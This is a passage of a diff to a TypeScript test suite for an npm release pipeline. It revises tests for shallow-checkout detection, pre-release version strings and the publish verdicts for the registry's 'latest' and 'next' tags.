shallow boundary", () => { const fx = seedFixture(); - const checker = shallowChecker(fx, "shallow"); + const checker = shallowClone(fx, "shallow"); const head = git(checker, "rev-parse", "HEAD"); expect(() => prereleaseVersionOf({ cwd: checker, sourceSha: head })).toThrow( "the pre-release version needs the full history (fetch-depth: 0) and this checkout is shallow: the count of commits under the source would stop at the shallow boundary.", ); }); - /** Run the script's subcommand under this bun as the workflow does: stdout, - * stderr, and status as they were. Asynchronous, so a registry served from - * this process can answer the child. */ - async function subcommand( - cwd: string, - env: Record, - ...args: string[] - ): Promise<{ stdout: string; stderr: string; status: number }> { - const script = join(ROOT, ".github", "scripts", "release-pipeline.ts"); - const child = Bun.spawn([process.execPath, script, ...args], { - cwd, - env: Object.fromEntries( - Object.entries({ ...process.env, ...env }).filter(([, v]) => v !== undefined), - ) as Record, - stdin: "ignore", - stdout: "pipe", - stderr: "pipe", - }); - const [stdout, stderr, status] = await Promise.all([ - new Response(child.stdout).text(), - new Response(child.stderr).text(), - child.exited, - ]); - return { stdout, stderr, status }; - } - test("the subcommand prints the version alone on stdout from GITHUB_SHA alone, and nothing there when it fails", async () => { const fx = seedFixture(); expect(await subcommand(fx.work, { GITHUB_SHA: fx.mergeSha }, "prerelease-version")).toEqual({ @@ -1528,23 +1191,10 @@ describe("prereleaseVersion", () => { }); }); - const orderings: [string, string, "newer" | "same" | "older"][] = [ - ["2.1.0", "2.0.9", "newer"], - ["2.0.10", "2.0.9", "newer"], - ["2.1.0", "2.1.0", "same"], - ["2.0.9", "2.1.0", "older"], - ]; - test.each(orderings)("release %s is %s than %s", (a, b, expected) => { - expect(releaseOrder(a, b)).toBe(expected); - }); - - test("a version this pipeline never mints is refused, not ordered", () => { - expect(() => releaseOrder("2.0.1-beta.1", "2.0.1")).toThrow( - /not a version this pipeline mints/, - ); - expect(() => releaseOrder("2.0.1", "2.0.1-main.412.b8df084")).toThrow( - /not a version this pipeline mints/, - ); + test("a latest this pipeline never minted stops the stable verdict, not ordered", () => { + expect(() => + stablePublishVerdict("2.1.0", { versions: {}, "dist-tags": { latest: "2.0.1-beta.1" } }), + ).toThrow(/not a version this pipeline mints/); }); const registry = (versions: string[], tags: Record): Packument => ({ @@ -1583,14 +1233,14 @@ describe("prereleaseVersion", () => { const main = mainAround(fx); const source7 = fx.mergeSha.slice(0, 7); const sha7 = (version: string): string => version.slice(-7); - const stale = (version: string): PublishVerdict => ({ + const stale = (version: string): NextVerdict => ({ publish: false, version: main.own, reason: `the registry already holds ${version}, whose source ${sha7(version)} is a descendant of ${source7} on main, so this stale run publishes nothing (npm publish --tag next would move next back)`, notices: [], }); const unresolved = "2.1.1-main.9.20260901.g0000000"; - const cases: [string, Packument | null, PublishVerdict][] = [ + const cases: [string, Packument | null, NextVerdict][] = [ [ "a package the registry has never seen", null, @@ -1691,12 +1341,7 @@ describe("prereleaseVersion", () => { }); const stableVerdicts: [string, string, Packument | null, PublishVerdict][] = [ - [ - "a package the registry has never seen", - "2.1.0", - null, - { publish: true, version: "2.1.0", notices: [] }, - ], + ["a package the registry has never seen", "2.1.0", null, { publish: true, version: "2.1.0" }], [ "the release after the bootstrap pre-release", "2.1.0", @@ -1704,7 +1349,7 @@ describe("prereleaseVersion", () => { latest: "2.0.1-main.0.g0000000", next: "2.0.1-main.0.g0000000", }), - { publish: true, version: "2.1.0", notices: [] }, + { publish: true, version: "2.1.0" }, ], [ "a newer release", @@ -1713,7 +1358,7 @@ describe("prereleaseVersion", () => { latest: "2.0.0", next: "2.0.1-main.412.20260901.g1111111", }), - { publish: true, version: "2.1.0", notices: [] }, + { publish: true, version: "2.1.0" }, ], [ "a rerun of the release's job", @@ -1723,7 +1368,6 @@ describe("prereleaseVersion", () => { publish: false, version: "2.1.0", reason: "2.1.0 is already on the registry", - notices: [], }, ], [ @@ -1733,7 +1377,7 @@ describe("prereleaseVersion", () => { latest: "2.1.1-main.0.g0000000", next: "2.1.1-main.0.g0000000", }), - { publish: true, version: "2.1.0", notices: [] }, + { publish: true, version: "2.1.0" }, ], [ "a rerun of an older release's job after a newer release", @@ -1744,7 +1388,6 @@ describe("prereleaseVersion", () => { version: "2.1.0", reason: "the registry's latest is 2.2.0, newer than 2.1.0, so this rerun of an older release publishes nothing (npm publish would move latest back)", - notices: [], }, ], ]; @@ -1836,7 +1479,6 @@ describe("prereleaseVersion", () => { publish: false, version: "2.1.0", reason: "2.1.0 is already on the registry", - notices: [], }); expect( await npmVerdict({ cwd: fx.work, channel: "next", sourceSha: fx.mergeSha, registry }), @@ -2018,7 +1660,7 @@ describe("prereleaseVersion", () => { const unsettled = { outcome: "unsettled" as const, version: published(fx), - reason: `the registry's record still lacks ${published(fx)} after 3 reads; a run judged before it shows may move next back, and the green push after it moves next forward`, + reason: `the registry's record still lacks ${published(fx)} after 3 reads over 0 s; a run judged before it shows may move next back, and the green push after it moves next forward`, }; const lagged = await withRegistry({ status: 200, body: lagging }, async (url, requests) => ({ verdict: await confirm(fx, url, 3),